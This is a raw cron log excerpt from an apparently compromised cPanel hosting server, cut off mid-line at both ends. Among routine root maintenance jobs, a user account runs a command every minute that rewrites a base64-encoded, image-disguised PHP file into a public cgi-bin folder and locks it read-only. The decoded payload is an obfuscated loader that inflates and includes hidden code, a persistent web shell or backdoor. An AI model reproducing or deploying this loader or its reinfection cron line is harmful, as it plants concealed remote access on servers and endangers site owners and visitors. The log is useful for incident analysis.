gLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:05:01 server CROND[19596]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:05:01 server CROND[19598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:06:01 server CROND[20505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:06:01 server CROND[20504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:06:01 server CROND[20503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:07:01 server CROND[20893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:07:01 server CROND[20894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:07:01 server CROND[20895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:08:01 server CROND[21291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:08:01 server CROND[21290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:08:01 server CROND[21292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:09:01 server CROND[21683]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:09:01 server CROND[21685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:09:01 server CROND[21684]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 22:09:01 server CROND[21693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:10:01 server CROND[22167]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 22:10:01 server CROND[22170]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 22:10:01 server CROND[22172]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:10:01 server CROND[22175]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:10:01 server CROND[22177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:10:01 server CROND[22178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:10:01 server CROND[22179]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 22:10:01 server CROND[22181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:11:01 server CROND[23178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:11:01 server CROND[23179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:11:01 server CROND[23180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:12:01 server CROND[23569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:12:01 server CROND[23570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:12:01 server CROND[23572]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 22:12:01 server CROND[23571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:13:01 server CROND[24013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:13:01 server CROND[24015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:13:01 server CROND[24014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:14:01 server CROND[24397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:14:01 server CROND[24398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:14:01 server CROND[24396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:15:01 server CROND[24874]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 22:15:01 server CROND[24875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:15:01 server CROND[24876]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 22:15:01 server CROND[24880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:15:01 server CROND[24881]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:15:01 server CROND[24883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:15:01 server CROND[24882]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 22:15:01 server CROND[24879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:15:01 server CROND[24884]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 22:16:01 server CROND[25723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:16:01 server CROND[25724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:16:01 server CROND[25725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:17:01 server CROND[26097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:17:01 server CROND[26096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwx